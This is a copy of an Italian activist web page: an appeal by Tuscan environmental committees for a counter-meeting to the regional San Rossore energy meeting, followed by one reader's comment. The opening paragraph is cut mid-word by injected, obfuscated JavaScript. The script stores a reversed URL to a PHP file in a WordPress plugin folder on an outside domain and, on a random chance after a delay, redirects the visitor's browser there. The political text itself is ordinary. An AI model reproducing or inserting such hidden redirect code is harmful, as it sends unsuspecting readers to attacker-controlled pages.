Appello per il contromeeting di San Rossore

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Come ogni anno, a Luglio, il presidente della Regione Toscana Claudio Martini riunisce a San Rossore autorevoli pensatori – collegati in qualche modo al movimento mondiale – cerc (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando di accreditare la regione Toscana come esempio di buon governo, attento alle istanze noglobal e ai bisogni dei paesi del Sud del mondo.

Fiumi di parole – qualche volta anche di indiscusso valore – alle quali però non corrispondono azioni di governo coerenti, come ben sa la popolazione toscana che vive sulla propria pelle gli effetti nocivi di questo particolare modello neoliberista regionale.

Le parole di S. Rossore dunque arrivano alle nostre orecchie dense di ambiguità e alludono – anno dopo anno – ad un sottile imbroglio, purtroppo non solo linguistico. Parole che sono in ogni caso molto lontane dalle effettive pratiche di governo e dalle concrete politiche portate avanti quotidianamente dalla Regione Toscana.

Una contraddizione, questa del governo regionale toscano, evidente nella scelta della giunta Martini di privatizzare i servizi locali e la loro gestione: acqua, energia, rifiuti; nei programmi di vendita ai privati dei demani pubblici e delle terre collettive (calpestando in questo modo diritti storicizzati di usi e demani civici che hanno per secoli tutelato le comunità insediate); nella subalternità alle rendite fondiarie e finanziarie ed al libero mercato; nella sostanziale connivenza con il sistema industriale dei distretti in ordine all’ aumento quotidiano delle nocività sanitarie, ambientali, sociali; alla non volontà di affrontare la precarietà del lavoro e quella sociale.

Una contraddizione anche politica, se è vero come è vero che la tanto sbandierata democrazia partecipativa di Martini, le poche volte che viene messa in atto, riguarda inutili confronti a valle di decisioni già prese, per cui essa si è ridotta ad una foglia di fico ingiallita dal tempo e arrossata dalla vergogna, in quanto serve a coprire maldestramente un decisionismo nocivo, spesso unilaterale e ormai insopportabile.

Ma questo neoliberismo temperato mediterraneo che si vuol mettere in vetrina a San Rossore non riguarda solo gli abitanti della Toscana, perché di analoghe iniquità e contraddizioni – con conseguenti nocività ambientali e sociali – è piena la politica nazionale, come testimoniano innumerevoli realtà di base, comitati popolari, associazioni ambientaliste e naturaliste che lottano contro la follia delle grandi opere (TAV, MOSE, Ponte sullo stretto) e delle piccole opere a grande impatto sanitario, ambientale e territoriale : contro l’ ipotesi di nuove centrali a carbone, ad olio combustibile, di rigassificatori offshore e in terraferma, contro l’ inquinamento elettromagnetico e contro i rifiuti radioattivi.

A ciò si aggiungano le realtà che sono impegnate a cambiare radicalmente la dannosa e costosa gestione dell’ intero ciclo dei rifiuti e la scelta dell’ incenerimento con annesse discariche, e le tante realtà e comitati che si oppongono alla privatizzazione dei servizi idrici e dell’ acqua o il movimento contadino e quello dei rurali, che lottano per l’ accesso alla terra, per la rinascita della montagna e della campagna, per la sovranità alimentare, per una agricoltura biologica e biodinamica che utilizzi minori quantità di energia, riducendo la meccanizzazione e non usando fertilizzanti chimici e pesticidi.

Iniquità che proseguono con l’ enorme quantità di morti sul lavoro, in particolare nei cantieri delle grandi e piccole opere. Una realtà francamente non più sopportabile.

“Energia: il problema, le soluzioni” è il titolo della sesta edizione del Meeting “A new global vision”.

LA NOSTRA PROPOSTA

Per le ragioni che abbiamo richiamato, proponiamo a tutte le realtà che si sono mobilitate nei territori – comitati popolari, associazioni ambientaliste, gruppi di base, osservatori, centri di documentazione, centri sociali, centri servizi autorganizzati, movimento contadino, movimento dei rurali – di costruire insieme un Contromeeting di S.Rossore da organizzare nel pomeriggio del 20 e nell’ intera giornata del 21. Alcune realtà toscane hanno già lavorato all’ individuazione di un possibile schema di organizzazione del Contromeeting (che alleghiamo all’Appello) in un percorso di avvicinamento a S.Rossore.

Un Contromeeting da organizzare in una prospettiva di concretezza e attorno a fertili elementi progettuali.

Per esempio : come ci si potrebbe muovere concretamente senza aggirare i problemi, ma costruendo bilanci energetici, economici, sanitari e sociali e contrapponendo la nostra concretezza alle declamazioni del Meeting di Martini. Da questo punto di vista un Piano energetico e ambientale, un Piano di gestione dei rifiuti, delle acque e via dicendo (che in teoria sono cose ottime) non hanno valenza alcuna se prevalgono le logiche del libero mercato, delle corporazioni tecnologiche ed economiche, delle multinazionali, delle holdings, in definitiva del business ecologico.

Dovremmo allora interrogarci, dal nostro punto di vista, cosa implica nella costruzione di programmi e di azioni alternative, mettere al centro i beni collettivi: acqua, energia, terra, aria, cultura, territorio/città.

A S. Rossore quindi andremo a far sentire la nostra presenza, i nostri saperi, le nostre esperienze, le nostre proposte.

Ma proponiamo che S.Rossore sia anche l’ occasione per dar vita (in forme rinnovate e più fertili che in passato, anche facendo crescere i collegamenti che già esistono e rafforzandoli ) ad un Coordinamento nazionale permanente tra tutte le realtà di base impegnate sulle differenti tematiche che hanno al centro la materia-energia, sul nucleare militare e civile, sul ciclo dell’ acqua e sull’ accesso alla terra: gruppi antinucleari (riunitisi recentemente nell’ incontro nazionale di Nova Siri), comitati e reti “NO centrali”, comitati e reti contro l’ attuale gestione dei rifiuti e per il varo di una “strategia Rifiuti Zero”, comitati per il ritorno al pubblico dei servizi idrici e per una diversa gestione del ciclo dell’ acqua; realtà che lottano contro le grandi opere e quelle meno grandi ma alto impatto sanitario, sociale ed ambientale, dai comitati NOTav, a quelli contro le scorie nucleari, a quelli contro i rigassificatori, ecc.

Un coordinamento fondato su aspetti comuni: nocività del sistema produttivo ed energetico, fallimento dello Stato nel garantire la sicurezza, il lavoro, i servizi, le garanzie sanitarie e sociali, centralità del risparmio di materia-energia, dell’ allungamento del ciclo di vita delle merci e basato su percorsi e pratiche di democrazia diretta e di partecipazione reale.

Questo in vista della costruzione collettiva – a partire dall’ autunno prossimo – di alcune vertenze che abbiano al centro il tema materia-energia-informazione, la produzione di merci, i meccanismi di riproduzione sociale, la precarietà dell’ esistenza, la proprietà collettiva dei beni comuni. E per rafforzare i tanti conflitti progettuali globali esplosi negli ultimi anni a scala regionale, metropolitana , europea e internazionale.

MATERIA-ENERGIA, INFORMAZIONE, BENI COLLETTIVI

Il tema dell’ energia, a livello globale, determina le relazioni mondiali e coinvolge tutta l’ umanità: chi ne usa ed abusa e chi ne paga i costi umani, sociali, sanitari ed ambientali, secondo meccanismi di mercato che non fanno che ampliare la forbice tra chi ha e chi non ha.

Una divisione questa tra chi ha e chi non ha, che si ripresenta costante in ogni aspetto di produzione e di uso dell’ energia: dall’ agricoltura ai trasporti, dall’ industria alla salute, toccando le questioni ambientali, le guerre, il ciclo dei rifiuti, dell’ acqua, dei combustibili, delle materie prime.

Chi controlla i flussi del petrolio e del gas controlla l’ economia globale nella transizione energetica nei prossimi 50 anni. Questi aspetti sono certamente collegati alla scarsità delle riserve petrolifere e di gas, al picco del petrolio e di gas, la cui estrazione diventerà sempre più economicamente e tecnologicamente difficile e costosa, tanto che si tenta di riproporre da più parti la scelta dannosa e insopportabile dell’ energia nucleare.

Il centro del problema è tuttavia il controllo di vaste aree del pianeta da parte della globalizzazione economica gestita dalle potenze dominanti.

In questo quadro la guerra preventiva e duratura scatenata da Usa e potenze alleate mira, per esempio, al controllo geopolitico del Medio Oriente e a ridisegnare, a questa scala e secondo la geografia della produzione capitalistica, l’ intera area dal Caspio al Marocco.

Diventa determinante allora la questione del ruolo dell’Italia nel bacino del Mediterraneo.

Torna inoltre d’ attualità la riproposizione del nucleare – militare e civile- , in particolare attraverso nuove forme della proliferazione nucleare ( Mini nukes, uranio depleto e via dicendo) che tendono al superamento della distinzione tra guerra nucleare e guerra convenzionale.

Il progressivo esaurimento dei combustibili fossili pone a livello globale il problema di una transizione energetica da un modello energetico dissipativo (che brucia risorse non rinnovabili) a un modello energetico conservativo basato su fonti di energia rinnovabili.

A questo appuntamento si è giunti in presenza di meccanismi di governo dell’ economia definitivamente sottomessi ai comandamenti del libero mercato , laddove l’ energia è al tempo stesso fattore determinante e determinato di un modello di sviluppo basato sulla produzione e sul consumo illimitato di merci (accorciamento del loro ciclo di vita).

Il rischio che abbiamo di fronte è che questa fase di transizione sia utilizzata dalle forze dominanti del settore energetico e dell’ economia mondo come pura ristrutturazione delle fonti di energia, ovvero come surrogazione di una fonte di energia con un’ altra, o ancora come semplice diversificazione delle fonti di approvvigionamento, senza nulla incidere sui meccanismi fondamentali della produzione e del consumo.

E’ qui che si misura il ritardo della politica rispetto a questi meccanismi dominanti.

Occorre un cambio di paradigma, nuovi scambi tra paesi e nuovi modelli socio-economici.

I processi di privatizzazione e di liberalizzazione avviati negli anni ’90 hanno trasferito all’ impresa e al mercato le responsabilità decisionali rispetto ai fabbisogni energetici, dalla scelta del tipo di energia, alla determinazione dei costi di produzione e delle tariffe.

Per loro stessa ammissione la politica, le pubbliche istituzioni – dal governo nazionale alle istituzioni locali – non sono più in grado di costruire una programmazione nell’ uso dell’ energia su base nazionale e/o locale.

Compiti e facoltà del governo sono ridotti unicamente ad azione di vigilanza sulla libera iniziativa del mercato attraverso una politica di incentivi.

In questo contesto la definizione di un PEN (Piano Energetico Nazionale) che valuti le reali necessità in materia di consumi energetici può essere insufficiente se non si individuano gli strumenti politici che possono renderlo effettivamente operativo a scala territoriale. L’ultimo PEN del 1988 è stato reso inservibile a causa delle privatizzazioni di Enel ed Eni del 1992, così come le stesse politiche liberiste (peraltro sposate nella sostanza dalla giunta Martini) hanno reso vano il Piano energetico regionale della Toscana che a cinque anni dalla sua approvazione è ben lungi dal poter centrare gli obiettivi previsti per il 2010.

Dobbiamo tornare a chiederci a cosa serve effettivamente l’energia (ivi compresa l’ energia elettrica): serve alla qualità della nostra vita, alla coerenza dei nostri insediamenti, alla biodiversità, alla vivibilità dell’ ambiente? O serve per continuare uno sviluppo economico basato sui profitti di pochi e la mercificazione e distruzione della Natura, che rischia di mettere fine alla vita sulla Terra?

Perciò il problema del controllo pubblico nell’ interesse collettivo dei beni primari come l’ acqua, l’ energia, la terra, non è più rinviabile. Ed è la questione dirimente per sapere chi sta dalla parte della distruzione o della costruzione di alternative credibili sul piano politico.

Comitati di Livorno, Marina di Pisa, Pisa contro il rigassificatore offshore

Coordinamento dei comitati per la salute della piana Firenze, Prato, Pistoia

Coordinamento dei comitati popolari liguri e toscani per la difesa dell’ ambiente

Foro Contadino Toscano

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  1. Stefano Gotti

    Di professuine medico-chirurgo. Da sempre ambientalista. Rappresentai il WWF nazionale in seno alla Commissione Minist. per l’istituzione del Parco Naz. Foreste casentinesi. Socio fondatore della Wilderness italiana da cui poi mi dissociai per la posizione aasunta da Zunino sul (felice-per me-) ritorno del Lupo nell’arco Alpino. Attivista da sempre di WWF, Italia Nostra, Pro Natura Forlì. Vorrei far parte del gruppo, se possibile.

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